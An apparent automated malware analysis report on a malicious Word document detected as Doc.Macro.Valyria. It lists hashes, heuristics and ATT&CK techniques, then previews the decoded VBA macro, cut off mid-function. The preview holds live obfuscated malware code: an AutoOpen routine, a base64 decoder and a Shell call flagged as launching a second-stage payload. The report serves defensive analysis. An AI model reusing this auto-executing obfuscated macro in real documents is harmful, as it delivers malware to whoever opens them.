Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9d3c2262c70ce20…

MALICIOUS

Office (OLE)

632.5 KB Created: 2017-06-01 19:57:00 Authoring application: Microsoft Office Word First seen: 2017-06-12
MD5: 753b8a1e949bf8b49a2439b1b06a85ec SHA-1: c715dc8179bca3f4144e65635c4648664b122002 SHA-256: b9d3c2262c70ce20119cbbf77a6019f45feade26e5c3cd6c151c521b4104de71
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine, a common technique for initial execution. The macro exhibits obfuscation and uses a potential Shell call, indicating it is likely designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Macro.Valyria-6327969-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Macro.Valyria-6327969-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Valyria-6327969-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End If
    If Len(wv83Ud) > 0 Then Shell wv83Ud, kq0DUuR1k
    End Sub
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "luj7hWqXn"
    Sub AutoOpen()
    Dim ReDiz73f As Integer
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 65983 bytes
SHA-256: 481a544dc037f919e2a8df95ba359a8dbcec7646db9dc41c2d4cf8947434ab7d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
709 of 1406 identifiers look randomly generated (e.g. 'yk7JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1M') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "luj7hWqXn"
Sub AutoOpen()
Dim ReDiz73f As Integer
ReDiz73f = -246 + 338
If ReDiz73f = 50617 Then
jMs5GQR = 13883
Else
Q2zjqGN = 2
End If
Dim MxhMSL As Integer
MxhMSL = -246 + 338
If MxhMSL = 50617 Then
ukjYP = True
Else
aOy6S = 201
End If
Dim iVwfUI As Integer
iVwfUI = -246 + 338
If iVwfUI < 50617 Then
HUQ31BCf = rSPnmr
Else
aplg5Ixm = 59447.758919128
End If
Dim GPyDHGKI As Integer
GPyDHGKI = 85 + 54
If GPyDHGKI = 42903 Then
VUjs1fCx0 = A6Yisena
Else
QgT21 = 55309.050413553
End If
Dim z4TIe As Integer
z4TIe = 85 + 54
If z4TIe > 42903 Then
FcEnKi = True
Else
GTUq4zZv = 63442.570873825
End If
Dim JTtbreS3B As Integer
JTtbreS3B = 85 + 54
If JTtbreS3B <> 42903 Then
x19CVbi = 209
Else
JZhVoFvtR = LkEmslIP
End If
Dim fwGSj As Integer
fwGSj = 85 + 54
If fwGSj > 42903 Then
phgiN = 82
Else
EKjLsgv = True
End If
Dim Bo9KpfmI As Integer
Bo9KpfmI = 174 - 52
If Bo9KpfmI < 39880 Then
KNKyzH1Q = True
Else
Mvszwm59 = 29961.223981276
End If
Dim ML1Oy4Feg As Integer
ML1Oy4Feg = 174 - 52
If ML1Oy4Feg < 39880 Then
KY8fS2cbZ = -578037152
Else
chY4G = -5023
End If
Dim sJk6ywPxU As Integer
sJk6ywPxU = 174 - 52
If sJk6ywPxU > 39880 Then
Nt9jGQMEF = 22765.789513061
Else
vPHKd = 110
End If
Ez68S
Dim CUxev As Integer
CUxev = 31291 / 377
If CUxev <> 51093 Then
x21o6ql0 = -910294212
Else
ffKGUp2 = True
End If
Dim apBgcZrxY As Integer
apBgcZrxY = 31291 / 377
If apBgcZrxY < 51093 Then
ishqojNY = 63
Else
loYBLda = -2148
End If
Dim CTlreQ5JN As Integer
CTlreQ5JN = 31291 / 377
If CTlreQ5JN = 51093 Then
vpzF9SH = 0
Else
yDGHWMw = i4biod2S
End If
Dim KCumP As Integer
KCumP = 31291 / 377
If KCumP < 51093 Then
jzkwyUrZ5 = 158
Else
bva0GqHx = -422271932
End If
Dim R3DzeGL0 As Integer
R3DzeGL0 = 9416 / 1177
If R3DzeGL0 = 37009 Then
UK6TUt = mHJ46
Else
nNFi8Hpk = -187519432
End If
Dim Uupath As Integer
Uupath = 9416 / 1177
If Uupath < 37009 Then
iqcBO = -78750798
Else
Fcql91w = 138
End If
Dim Cw6QOtav As Integer
Cw6QOtav = 9416 / 1177
If Cw6QOtav < 37009 Then
WvLaSV = 53116.331767851
Else
qWcOj = -1048354190
End If
Dim c4ZXW As Integer
c4ZXW = 82 - 24
If c4ZXW <> 45566 Then
r2qGLztg = True
Else
zmWnahRw = 17001.065582921
End If
Dim MLNe7 As Integer
MLNe7 = 82 - 24
If MLNe7 = 45566 Then
qhG6z = 3
Else
OZVoWtx = 2212.9067384437
End If
Dim mZLigobkQ As Integer
mZLigobkQ = 82 - 24
If mZLigobkQ <> 45566 Then
TRXLQr4G6 = True
Else
a2G8x = 224
End If
Dim HCf4FIp0V As Integer
HCf4FIp0V = 82 - 24
If HCf4FIp0V = 45566 Then
wBp8J7c = 12
Else
mYqH6o9NW = 59380.798513272
End If
Dim tf6TN As Integer
tf6TN = 82 - 24
If tf6TN > 45566 Then
QDk0fNxl8 = 5743.8787428612
Else
SXd1vZ = False
End If
Dim i28Xci As Integer
i28Xci = 2848 / 1424
If i28Xci < 43084 Then
NfBpl4I8H = 62679.374551875
Else
zFo1zyen = 13687
End If
Dim hztQpWA As Integer
hztQpWA = 2848 / 1424
If hztQpWA < 43084 Then
JWAGwu32 = 229.71404557827
Else
HXIeC = 22
End If
Dim kG7QsTg As Integer
kG7QsTg = 2848 / 1424
If kG7QsTg < 43084 Then
fk8Z5eUn = -11770
Else
qcXqtH23 = -11770
End If
Dim O5jpN As Integer
O5jpN = 2848 / 1424
If O5jpN <> 43084 Then
QLlGEtDQ = 0
Else
txKlV5UZ = 105
End If
Dim vb2JwWO1I As Integer
vb2JwWO1I = 2848 / 1424
If vb2JwWO1I > 43084 Then
uETfPuDl = ue6Qh
Else
nwiRDX = ue6Qh
End If

End Sub

Attribute VB_Name = "lMEZ1wsH"
Private Const FoUPRX = 16711680
Private Const RrEzw1 = 65280
Private Const KuUAo = 255
Private Const ansUcEvPw = 262144
Private Const AiwPW = 4096
Private Const QeWSp5 = 64
Private Const fpBHgX = 256
Private Const g0VgH = 65536
Public Function eZVN9O(iCgnSElF As String) As String
Dim QBcvW() As Byte, P1uCMN() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
Dim lTemp As Long
Dim AFeJC5Y6B As Integer
AFeJC5Y6B = -122 + 240
If AFeJC5Y6B > 39796 Then
b8GIQW3ZS = 36716.692647285
Else
PgzXuJ = MLJEAnTj
End If
Dim KL1r6uGQ As Integer
KL1r6uGQ = -122 + 240
If KL1r6uGQ <> 39796 Then
oVNrfmKFi = True
Else
nRGrUDkO = -6179
End If
Dim E1xNs As Integer
E1xNs = -122 + 240
If E1xNs < 39796 Then
yuKxWQ1P = False
Else
VYbiqSjO = 156
End If
Dim fHA8F As Integer
fHA8F = -122 + 240
If fHA8F > 39796 Then
e9dUleWiP = -902821232
Else
Lkm4t = 31407.377460398
End If
Dim LQ7u6xv3U As Integer
LQ7u6xv3U = 1018 - 987
If LQ7u6xv3U > 50342 Then
cJ6NBcuC = 9097.5118957281
Else
b8QdocqVu = 9097.5118957281
End If
Dim vErW3O As Integer
vErW3O = 1018 - 987
If vErW3O > 50342 Then
B4NzuM = True
Else
f6t9k = 52600.828511477
End If
Dim KcNhsXe72 As Integer
KcNhsXe72 = 1018 - 987
If KcNhsXe72 = 50342 Then
GyK5dBsWm = 32642.591372961
Else
f3REwiP = False
End If
Dim SE6OxKNuV As Integer
SE6OxKNuV = 1018 - 987
If SE6OxKNuV = 50342 Then
YZQ8qfKx4 = uXGtQ7bHT
Else
T3dzqAE = 13788.493208695
End If
Dim gt5jI As Integer
gt5jI = 1018 - 987
If gt5jI < 50342 Then
xEhQJZ = -28848
Else
TK7J5ZN = 0
End If
Dim eZEjJqSw As Integer
eZEjJqSw = 16014 / 157
If eZEjJqSw < 57000 Then
uIbQHTx = 0
Else
VDOIFnkd = False
End If
Dim XhVyuMgk As Integer
XhVyuMgk = 16014 / 157
If XhVyuMgk > 57000 Then
KpY3so5V = YZsWnfL
Else
v15Qouh = 40355.778117249
End If
Dim D6lhaTut As Integer
D6lhaTut = 16014 / 157
If D6lhaTut < 57000 Then
gFtW9MAI = False
Else
zw2CIUv5 = 34546.936878136
End If
Dim ucxLEOIAB As Integer
ucxLEOIAB = 16014 / 157
If ucxLEOIAB = 57000 Then
Us27j0u = 133
Else
iL2b1Yz = 38055.27278325
End If
iCgnSElF = Replace(iCgnSElF, vbCr, vbNullString)
Dim yxUWiyhqI As Integer
yxUWiyhqI = 1 * 167
If yxUWiyhqI > 34019 Then
Ur8U3M = -4209
Else
oF7TkK = -4209
End If
Dim aLYnu3meC As Integer
aLYnu3meC = 1 * 167
If aLYnu3meC > 34019 Then
HtdoQ = 28
Else
S1TN0 = True
End If
Dim lUlBNc As Integer
lUlBNc = 1 * 167
If lUlBNc > 34019 Then
ZavfE3 = xmPoQ
Else
jdG7g = True
End If
Dim y162YH As Integer
y162YH = 1 * 167
If y162YH > 34019 Then
gzW1g = 60618.275758059
Else
a5U2Jz = 60618.275758059
End If
Dim W1jsE As Integer
W1jsE = 1 * 181
If W1jsE > 49069 Then
gqKSa = 48
Else
m5y98tRiO = 48
End If
Dim snsmWOiNr As Integer
snsmWOiNr = 1 * 181
If snsmWOiNr < 49069 Then
WS6ncb = SrEoduqP
Else
pjTlr = -877708600
End If
Dim zjRLqmz As Integer
zjRLqmz = 1 * 181
If zjRLqmz = 49069 Then
ZY5jlSP87 = 145
Else
Ui5RvIKG = True
End If
Dim H1HjegGmz As Integer
H1HjegGmz = 1 * 181
If H1HjegGmz <> 49069 Then
sjYcDnh = False
Else
zCrdTyBU = x8XYQcxuh
End If
Dim gKEV4sgaj As Integer
gKEV4sgaj = 27585 / 613
If gKEV4sgaj <> 59311 Then
GtDdxcj = -22731
Else
huYxpcFg = -70472598
End If
Dim A0oxwgY As Integer
A0oxwgY = 27585 / 613
If A0oxwgY = 59311 Then
iwXbyl6H4 = 6181
Else
MTwAH1rJP = 31877.063879243
End If
Dim DVhPIzgyF As Integer
DVhPIzgyF = 27585 / 613
If DVhPIzgyF < 59311 Then
hvB6EyH = 57940.681349677
Else
ZL1Q53doT = False
End If
Dim HJd2Z6 As Integer
HJd2Z6 = 27585 / 613
If HJd2Z6 > 59311 Then
U6OYb = -12739
Else
XIhSN4M = 43145.801202548
End If
Dim Y7qLkD As Integer
Y7qLkD = 27585 / 613
If Y7qLkD = 59311 Then
de09mo = True
Else
VvHBg = -2001421020
End If
iCgnSElF = Replace(iCgnSElF, vbLf, vbNullString)
Dim Bvu94FsbA As Integer
Bvu94FsbA = 4930 / 85
If Bvu94FsbA > 41957 Then
qm47tO = eLzA7
Else
zkpLtSmM = eLzA7
End If
Dim cYBCNdI As Integer
cYBCNdI = 4930 / 85
If cYBCNdI <> 41957 Then
kH2DJgm = 47937.359413727
Else
VzLB3 = 3197
End If
Dim lY475 As Integer
lY475 = 4930 / 85
If lY475 = 41957 Then
bTzuogn = True
Else
pGuI4 = 63293.375728118
End If
Dim Qo2w9a5S As Integer
Qo2w9a5S = 4930 / 85
If Qo2w9a5S < 41957 Then
mYhglC5B = 6
Else
kptgilV = 14406.966179618
End If
Dim TjlXBq9yL As Integer
TjlXBq9yL = 20648 / 178
If TjlXBq9yL <> 32890 Then
CtlX7I = 75
Else
hlwh9 = -1544
End If
Dim cdsRY As Integer
cdsRY = 20648 / 178
If cdsRY <> 32890 Then
NfXwtq = -25519
Else
InsSyu = 10484.102408808
End If
Dim gEGm2iU9 As Integer
gEGm2iU9 = 20648 / 178
If gEGm2iU9 = 32890 Then
RyVFvp2 = 42
Else
VkWO2Bz = False
End If
Dim suQ1KTFR As Integer
suQ1KTFR = 8792 / 56
If suQ1KTFR < 33854 Then
Foupqxs = 30919
Else
CownQhD = True
End If
Dim GOgRp As Integer
GOgRp = 8792 / 56
If GOgRp <> 33854 Then
PeJndVx = 39307.262410748
Else
EhTgO0p1 = 25684
End If
Dim FuGJIh As Integer
FuGJIh = 8792 / 56
If FuGJIh > 33854 Then
nGfUrNlyA = 173
Else
Jg7qD = 26294.127310776
End If
Dim HgvOQP As Integer
HgvOQP = 8792 / 56
If HgvOQP < 33854 Then
N1Jwa = 29265.830398543
Else
LpyzDSwuK = 192
End If
Dim N75omzAU As Integer
N75omzAU = 8792 / 56
If N75omzAU = 33854 Then
zc7RrvxK = Euds1t
Else
EE0MY = 50
End If
lTemp = Len(iCgnSElF) Mod 4
Dim b0Hpo3 As Integer
b0Hpo3 = 642 - 624
If b0Hpo3 = 49102 Then
V2C1j = True
Else
NRtyCApZM = BweuAg
End If
Dim yIuXF1r As Integer
yIuXF1r = 642 - 624
If yIuXF1r > 49102 Then
Zh0encz6 = 3600
Else
OD3NpY1R = 3600
End If
Dim z9XymcaF2 As Integer
z9XymcaF2 = 642 - 624
If z9XymcaF2 > 49102 Then
TqwacyPp = 140
Else
DFyQaZl7f = 140
End If
Dim wjn59o As Integer
wjn59o = 642 - 624
If wjn59o < 49102 Then
jhNCU7x = 0
Else
owHzmO = -14687
End If
Dim kD3rXnz7o As Integer
kD3rXnz7o = 32192 / 8048
If kD3rXnz7o > 38105 Then
IGJB7cOl = 57930.500382925
Else
HgvjCke = Ci0cUr
End If
Dim ecYpZ As Integer
ecYpZ = 32192 / 8048
If ecYpZ < 38105 Then
JdIahTWV2 = False
Else
shzaWsKbt = cWU9Sb71
End If
Dim Xu1qj As Integer
Xu1qj = 32192 / 8048
If Xu1qj <> 38105 Then
xBCZd = 26046.113205168
Else
DYJZt = 111
End If
Dim Q2e9LFho As Integer
Q2e9LFho = 32192 / 8048
If Q2e9LFho <> 38105 Then
r3R1Fe = -954945050
Else
GKqMI3LE = 53960.804836432
End If
Dim bTGnf As Integer
bTGnf = 760 / 5
If bTGnf = 53880 Then
Sxdq2YJ = False
Else
OHwo8kt = BqC4ok0r
End If
Dim CkZFtqDa As Integer
CkZFtqDa = 760 / 5
If CkZFtqDa <> 53880 Then
IrOtV = -2959
Else
eq0yKnP62 = -2959
End If
Dim gckzfyW As Integer
gckzfyW = 760 / 5
If gckzfyW <> 53880 Then
v2oAiCM = -13924
Else
PW6m09 = 26428.155390141
End If
Dim nEDwr As Integer
nEDwr = 760 / 5
If nEDwr > 53880 Then
X4x8uAeGp = 4396.9999662101
Else
xAgdBT = 125
End If
Dim NkoEm As Integer
NkoEm = -224 + 320
If NkoEm > 39913 Then
WpBXsELIK = 14422.673368348
Else
rCq0hVrBd = 57
End If
Dim gHmC9nA As Integer
gHmC9nA = -224 + 320
If gHmC9nA = 39913 Then
tylfW = 218
Else
eWqa4K = 26028.265607145
End If
Dim kwnOC1JcT As Integer
kwnOC1JcT = -224 + 320
If kwnOC1JcT <> 39913 Then
vtAgarTY = 28102.128763422
Else
XDQrg1ub = 167
End If
Dim wi5bQLCY As Integer
wi5bQLCY = -224 + 320
If wi5bQLCY < 39913 Then
GFEoGlyU = True
Else
niq5lVj = -1064125714
End If
Dim m28igoBjb As Integer
m28igoBjb = 31035 / 2069
If m28igoBjb <> 64099 Then
kmKeF2D = 40882.727366272
Else
OiqzQ = -380120164
End If
Dim isIc0f2 As Integer
isIc0f2 = 31035 / 2069
If isIc0f2 < 64099 Then
qcRd1LGYA = 12079.557111123
Else
XjOhqvR = 210
End If
Dim n2zGw As Integer
n2zGw = 31035 / 2069
If n2zGw < 64099 Then
p5t4k = 51433.905367807
Else
VLtNie1Vk = False
End If
Dim V2n9w1R3 As Integer
V2n9w1R3 = 31035 / 2069
If V2n9w1R3 <> 64099 Then
YBmd06yu7 = 212
Else
BAJGw = NY6Hln5
End If
Dim TY6lwf3C As Integer
TY6lwf3C = 233 - 74
If TY6lwf3C < 64721 Then
FZgkKB = 31072
Else
fWrfDi0ha = -251633270
End If
Dim NfYNxAaWq As Integer
NfYNxAaWq = 233 - 74
If NfYNxAaWq = 64721 Then
ZsV1g5 = 53790.59337876
Else
uBAFj = 53790.59337876
End If
Dim TIxhNA As Integer
TIxhNA = 233 - 74
If TIxhNA = 64721 Then
NUC9j = True
Else
p56QCP = 29997.74356662
End If
Dim Ii10QpHyJ As Integer
Ii10QpHyJ = 233 - 74
If Ii10QpHyJ = 64721 Then
h9DgdZ = 58722.275035446
Else
QzjT6x = -25022
End If
Dim ZWQt20 As Integer
ZWQt20 = 233 - 74
If ZWQt20 > 64721 Then
zYKjNyk7 = 6116.8936605509
Else
UPWl2kR0v = 6116.8936605509
End If
Dim dIEr7NUSC As Integer
dIEr7NUSC = -922 + 942
If dIEr7NUSC <> 49134 Then
zYNTo = 51874.409034136
Else
qhxl4Te3p = 22809.763391601
End If
Dim Sz0wL5vD As Integer
Sz0wL5vD = -922 + 942
If Sz0wL5vD <> 49134 Then
KxTfX1qG = 0
Else
kMlj1fmy = 14598
End If
Dim R1bDaYLx As Integer
R1bDaYLx = -922 + 942
If R1bDaYLx = 49134 Then
F3wo7 = -1105999330
Else
mjHM0oA = -1105999330
End If
Dim DSURyYhP5 As Integer
DSURyYhP5 = -922 + 942
If DSURyYhP5 = 49134 Then
FOx9Sa = 15520.769587961
Else
TrbeTRG = 15520.769587961
End If
Dim wlaguvEW As Integer
wlaguvEW = 342 - 257
If wlaguvEW < 62530 Then
aQuXN = 1983.651960135
Else
qL3B1utig = 1983.651960135
End If
Dim QedVG As Integer
QedVG = 342 - 257
If QedVG <> 62530 Then
IMLJtb = 30712.357651269
Else
vQP0N6Eh = 240
End If
Dim dMx5sNz As Integer
dMx5sNz = 342 - 257
If dMx5sNz < 62530 Then
L7fhmyvp = M3QYTmkx
Else
hi6laxmU = 17572.659751289
End If
Dim WCvXETr As Integer
WCvXETr = 342 - 257
If WCvXETr < 62530 Then
dC9TvHrD = 38779.236640035
Else
ZFPw5JTSz = IWTitQR
End If
Dim gNcmk4Dxi As Integer
gNcmk4Dxi = -3557 + 3564
If gNcmk4Dxi = 39934 Then
D8I91zTWh = -22647
Else
BWLThueiM = 187
End If
Dim BhJqB As Integer
BhJqB = -3557 + 3564
If BhJqB < 39934 Then
XGxKL = RgQKL
Else
GYdKf = 13402.141580085
End If
Dim PWDN4BfZF As Integer
PWDN4BfZF = -3557 + 3564
If PWDN4BfZF <> 39934 Then
q4sHe = 59578.622831601
Else
PbzS6Vl = YPRz8Ky
End If
Dim YKgkYh As Integer
YKgkYh = -3557 + 3564
If YKgkYh < 39934 Then
iX4boHxTy = 27844.36386029
Else
unPWl8SFL = 17
End If
Dim NOSLE As Integer
NOSLE = -3557 + 3564
If NOSLE = 39934 Then
t1gzAJ6 = 34
Else
slyZS = 0
End If
Dim W5kIAQnbe As Integer
W5kIAQnbe = 122 + 55
If W5kIAQnbe = 53580 Then
A5HYwFEGU = 59800.896179384
Else
bymaxip = 23529.924297279
End If
Dim QgdRhs As Integer
QgdRhs = 122 + 55
If QgdRhs > 53580 Then
bIPcVQ = False
Else
NcbJ4hoe = 11768.291374955
End If
Dim UfYERX As Integer
UfYERX = 122 + 55
If UfYERX < 53580 Then
Z5Rro7ny = 55381.12493829
Else
fZuaIN = 121
End If
If InStrRev(iCgnSElF, "==") Then
Dim bAht0jbJM As Integer
bAht0jbJM = 745 - 722
If bAht0jbJM <> 47841 Then
kzCpMqrw = 0
Else
uvoTKSDx = 16832
End If
Dim v0hBWDER As Integer
v0hBWDER = 745 - 722
If v0hBWDER <> 47841 Then
kD6h2qseJ = 24052.33845913
Else
VQ09Wa = -956439746
End If
Dim n4LhnkG5x As Integer
n4LhnkG5x = 745 - 722
If n4LhnkG5x < 47841 Then
e5Ir4P = 23086.071774489
Else
zaBweXI = jBPhJ
End If
Dim xt5FBf As Integer
xt5FBf = 745 - 722
If xt5FBf > 47841 Then
CSXQKL = 192
Else
dunmO = 192
End If
Dim BtUh0Jb As Integer
BtUh0Jb = 21007 / 3001
If BtUh0Jb = 41071 Then
fGJKm1 = I2eKb6T
Else
p8bg1E3 = I2eKb6T
End If
Dim sLK20Yyx As Integer
sLK20Yyx = 21007 / 3001
If sLK20Yyx = 41071 Then
u3bJ8 = OPpg7
Else
t2A0Vr5JQ = True
End If
Dim F0vwtoZ As Integer
F0vwtoZ = 21007 / 3001
If F0vwtoZ < 41071 Then
hQRGZ9AB = HL2peH98O
Else
jJK7N = -12073
End If
iPad = 2
ElseIf InStrRev(iCgnSElF, "=") Then
Dim N2vCpEQ As Integer
N2vCpEQ = 27224 / 164
If N2vCpEQ = 34785 Then
ChNyk9g = f84VrwZ
Else
TxAV1 = 176
End If
Dim ZqV5ZfW As Integer
ZqV5ZfW = 27224 / 164
If ZqV5ZfW < 34785 Then
zIUCloE = 213
Else
qAbvL8wT = -10290
End If
Dim AXDIqSj As Integer
AXDIqSj = 27224 / 164
If AXDIqSj <> 34785 Then
kMvIbB = 9703
Else
oTx4D = 9703
End If
Dim zQMi6t As Integer
zQMi6t = 246 - 104
If zQMi6t <> 34019 Then
iZtI74T = 162
Else
AShWGDH = 0
End If
Dim Mi0HBsV As Integer
Mi0HBsV = 246 - 104
If Mi0HBsV > 34019 Then
aFTq3 = xlyEwV
Else
uldMX = xlyEwV
End If
Dim o2qgn As Integer
o2qgn = 246 - 104
If o2qgn > 34019 Then
pUTf9Zo = ktGuz
Else
ZFtYxpVXE = 36364.939795874
End If
Dim BuKm0s As Integer
BuKm0s = 246 - 104
If BuKm0s <> 34019 Then
I2sLzSow = 5951.92962051
Else
RPKp4 = 39160.715997889
End If
iPad = 1
End If
Dim i78Cd As Integer
i78Cd = 298 - 158
If i78Cd > 61415 Then
DKx9dVgMj = 26434.802322588
Else
Sp4FMGVow = 124
End If
Dim KmRNyxCH As Integer
KmRNyxCH = 298 - 158
If KmRNyxCH <> 61415 Then
ZFjTG = 0
Else
Taksv = 13235.76563528
End If
Dim e0EWI As Integer
e0EWI = 298 - 158
If e0EWI = 61415 Then
mq7RXWC0 = 112
Else
JySqDc = 14030
End If
Dim K6aWPQ As Integer
K6aWPQ = 298 - 158
If K6aWPQ > 61415 Then
YZTdRr5UA = 194
Else
lJ2gtE = 46819.481940242
End If
Dim bhUPx As Integer
bhUPx = -491 + 532
If bhUPx < 34333 Then
jBCAUF5 = XwMOkn2ct
Else
QoAfQa = True
End If
Dim LM3xc As Integer
LM3xc = -491 + 532
If LM3xc < 34333 Then
zO5v4Uauf = ChUcg
Else
jyeBpNKs = -726694210
End If
Dim LhOTN As Integer
LhOTN = -491 + 532
If LhOTN < 34333 Then
xqXLD = -1895011798
Else
peSdkilLX = 205
End If
Dim SUuD1Bz As Integer
SUuD1Bz = -491 + 532
If SUuD1Bz > 34333 Then
KgmfbSyK = -2144678860
Else
UPcDQqA = aU4LtK
End If
Dim Nq6eLONPz As Integer
Nq6eLONPz = -104 + 167
If Nq6eLONPz > 61632 Then
tYBc3Jw = i7hVmYT
Else
W4GIVwp8 = False
End If
Dim yJYquX As Integer
yJYquX = -104 + 167
If yJYquX < 61632 Then
p5dUOZsT = 25079
Else
yFIzj7eLf = 39649.476131334
End If
Dim DY6c4B As Integer
DY6c4B = -104 + 167
If DY6c4B = 61632 Then
Zb7ULr = 82
Else
IWyjXpO = True
End If
For lTemp = 0 To 255
Select Case lTemp
Case 65 To 90
Dim EPW4u As Integer
EPW4u = 387 - 302
If EPW4u = 55241 Then
EK2EAno6 = 24047
Else
jUgnL46D = 137
End If
Dim CJbxdG8T As Integer
CJbxdG8T = 387 - 302
If CJbxdG8T > 55241 Then
xsmHy = 1138.7678565549
Else
ni6pozmwq = -1512143230
End If
Dim TLG3Wi As Integer
TLG3Wi = 387 - 302
If TLG3Wi <> 55241 Then
Ll1uMI9 = 36223.877338791
Else
UIXAc = 53
End If
Dim Nd8IlxHwE As Integer
Nd8IlxHwE = 387 - 302
If Nd8IlxHwE > 55241 Then
AiwdeV = 17567.357524922
Else
vnGlqAS = True
End If
Dim W5ckso8 As Integer
W5ckso8 = 387 - 302
If W5ckso8 < 55241 Then
v2T6jYvc = 218
Else
bhjXxwpo5 = 20617.334627958
End If
Dim kBv2qDWjN As Integer
kBv2qDWjN = 258 - 83
If kBv2qDWjN > 41866 Then
z9bdC = 166
Else
HgeGq = -20085
End If
Dim q1FA2Ui As Integer
q1FA2Ui = 258 - 83
…